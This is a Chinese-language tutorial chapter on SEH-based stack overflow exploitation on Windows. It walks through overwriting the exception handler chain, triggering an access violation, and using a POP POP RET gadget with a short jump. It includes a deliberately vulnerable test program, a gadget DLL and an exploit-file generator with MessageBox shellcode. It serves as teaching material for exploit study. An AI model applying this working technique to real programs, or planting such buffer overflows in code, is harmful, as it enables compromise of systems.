上节中简单地讲述了SEH的原理及逻辑结构。本节,要继续讲述SEH的物理结构及如何利用它进行栈溢出。
先来看SEH的物理结构。先回想上节中的图51,我们在程序停在gets函数输入的时候查看SEH链,看到了一大堆异常处理器,而当我们把断点设置在gets函数下一条语句的时候,其中很多没有了,这给我们一个直观的感觉:SEH链保存在栈上。
下面,我们就来看看栈上的SEH链。我们使用的是example_10,即添加了一个自己的异常处理块的程序(编译时继续采用前面教程中的设置,即关闭缓冲区安全检查)。依然把断点设置在gets函数下一条语句,由于程序定义缓冲区为11个字节,我们输入10个A,即不超过缓冲区大小,断下后,先看SEH链:
图58 SEH链
再看栈:
图59 SEH链的物理布局
需要特别注意的是第一个异常处理器的位置,它位于局部变量与保持的EIP之间,正是这个重要位置,给了它利用的价值。需要说明的是,本节的重点在于SEH,而不是栈上保存的EIP(像前面小节中所说的),看到以后的小节之后你就知道为什么了。
现在要重复我们的老把戏了。我们输入28个A,溢出缓冲区的大小,来看栈:
图60 输入28个A时的栈
查看此时的SEH链:
图61 输入28个A时的SEH链
可以看到,此时的SEH链已经被我们破坏了,异常处理函数和下一个异常处理器都被重写为0x41414141。但是此时这并没有什么用,因为这个SEH链根本不会被触发,就算我们覆盖了SEH链第一个异常处理器的内容,也不会发生什么错误,程序输出28个A,然后正常退出:
图62
回想1.9节中的内容,异常处理块是程序员自己定义的,不同的应用程序中处理的异常类型都不相同,我们很难知道程序究竟处理了什么类型的异常,因此,我们也很难去触发指定类型的异常,来让SEH链被调用。那么,还有什么方法来触发一个异常呢?我们先来看一个现象,这次我们不输入28个A,我们输入很多很多A:
图63
然后,程序出现以下弹框:
图64
这说明缓冲区溢出到一定的程度,就会触发程序的异常处理,SEH链被调用,而且其内容被覆盖为“AAAA”。
现象我们看到了,那这个异常定义在哪?捕获的是什么类型的错误呢?它又是如何被触发的呢?我们看一看此时的栈:
图65
你知道原因了吗?此时整个栈都被写为了A,不仅如此,我们还向栈以外的内存也写入A,由于越过了栈范围,因而发生了越界访问。这一切都发生在example_10的__try块中,越界访问异常被捕获,于是有了上面的提示框。因此,最后总结为一句:通过向栈范围以外的内存写入数据,从而引发一次访问越界异常。
现在,我们再来做一次。这一次我们输入20个A + 8个B + 很多很多A:
图66
程序提示异常:
图67
注意异常发生的地址,并和图63中的异常地址进行对比,第一次我们将SEH链中的第一个异常处理器覆盖为“AAAAAAAA”,这一次我们将它覆盖为“BBBBBBBB”。因此,提示框中的异常发生地址实际上来自与SEH链。知道为什么吗?记得1.9节的原理吗?回顾一下异常被处理的过程,系统遍历SEH链,调用其中的每个异常处理器,判断它能否处理异常,如果不能,则移交给下一个,继续判断。直到异常被处理。而由于我们通过栈溢出更改了异常处理器的值,因此,系统尝试读取异常处理函数的地址(0x42424242)时,由于这个地址是我们随便给的,发生访问越界,这就是异常提示框中信息的由来。
好了,现在我们知道了如何修改SEH链中异常处理器的值,也知道了如何引发一次异常,让异常处理器被调用。现在,我们要利用这些东西来做点小把戏了。
还记得1.4节我们是如何黑掉程序example_2,让它执行我们的MessageBox的吗?我们通过一些特殊的方式(一条jmp esp指令),让程序转而执行我们提供的代码,从而控制了原程序。
我们在前面已经控制了EIP,但是EIP到底修改为多少呢?按直观的想法,EIP应该为我们的Shellcode的第一条指令的地址,但是这个地址又为多少呢?我们并不知道。不过,我们再来看一下异常处理函数_except_handler的原型:
图68
1.9节中说到了它的其它几个参数,但是没有说第二个参数EstablisherFrame,这个参数实际上就是当前SEH链的首地址,即SEH链中第一个_EXCEPTION_REGISTRATION_RECORD结构的地址,也就是被我们改写的那个异常处理器的地址。当异常处理函数被调用的时候,这个参数位于栈上ESP+8的位置。这不难理解,这个函数为__cdecl调用方式,则栈上是这样子的:
图69
因此,我们只需要想办法将EstablisherFrame载入EIP,就得到了一个靠谱的地址,从这个地址开始执行我们自己的代码。如何将EstablisherFrame载入EIP?系统将栈设置为图68的样子之后,就转向异常处理函数开始执行,这个函数是我们给定的,前面我们设置为0x42424242,发生了访问越界,现在我们要将异常处理函数地址设置为一段指令,这段指令可以将EstablisherFrame载入EIP,它就是著名的“POP POP RET”指令块。通过两次出栈,ESP指向EstablisherFrame,此时执行RET指令将EstablisherFrame作为返回地址载入EIP。
下面,就可以来看攻击缓冲区的结构了:
图70
先来说说各个部分,junk容易理解,用来填充原缓冲区,第一个异常处理器的起始地址(不能覆盖)。第二个部分是Jmp指令,它位于第一个异常处理器结构的Next SEH成员位置,为什么需要它?因为POP+POP+RET执行后返回到SEH起始地址,此时,如果没有跳转指令,顺序执行,POP+POP+RET还会执行,从而出错,因此,JMP指令的作用就是跳过POP+POP+RET。因此,我们需要跳过4字节,短跳转的操作码为EB,向后跳转四字节为\xeb\x04。由于有4字节的空间,因此再填充两个NOP指令。shellcode部分才是实际的功能载荷,它除了操作码以外,还要填充一些字符,用于制造栈越界,引发异常。
下面是示例,由于我要用到POP+POP+RET指令,因此,我先建立一个DLL,如下:
/*****************************************************************************/
头文件example_13.h:
__declspec(dllexport) void set_pop_pop_ret();
源文件example_13.cpp:
// example_13 包含POP+POP+RET指令的DLL
#include "example_13.h"
void set_pop_pop_ret()
{
__asm
{
push esi
push edi
pop edi
pop esi
ret
}
}
/*****************************************************************************/
然后,是用于演示栈溢出的程序(为了输入和调试方便,我把前面的gets改成了读文件):
/*****************************************************************************/
// example_12 演示基于SEH的栈溢出
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include "example_13.h"
#pragma comment(lib, "example_13.lib")
void get_print()
{
FILE* fp = fopen("code.txt", "rb");
char str[11];
__try
{
fread(str, 1, 1024, fp);
printf("%s\n",str);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
//
}
fclose(fp);
}
int main()
{
get_print();
set_pop_pop_ret(); // 来自example_13.dll
return 0;
}
/*****************************************************************************/
下面是生成带有Shellcode的文件的程序:
/*****************************************************************************/
// example_11 生成exploit文件
#include <stdio.h>
#include <string.h>
char junk[] =
"AAAAAAAAAAAAAAAAAAAAAAAA" // junk
"\x90\x90\xeb\x04" // jmp
"\x50\x13\x01\x10"; // pop+pop+ret
char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F" // shellcode
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";
int main()
{
FILE* f = fopen("code.txt","wb");
fwrite((char*)junk, strlen(junk), 1, f);
fwrite((char*)shellcode, strlen(shellcode), 1, f);
for( int i = 0; i < 100; i++ )
{
fputs("AAAA", f);
}
fclose(f);
return 0;
}
/*****************************************************************************/
需要注意的是”\x90\x90\xeb\x04”,NOP指令放在前面和后面跳转长度是不一样的,如果NOP指令在后面,那就不是跳转4字节,而是6字节了。
图71
另外,我用的POP+POP+RET是我自己写的example_13.dll中的,指令地址地址为0x10011350。至于为什么不用系统dll中的,下一节你就知道了,下面是example_12加载带有Shellcode的文件之后的结果:
图72
注意,我的Shellcode是前面小节中的,带有硬编码地址,你不可直接使用。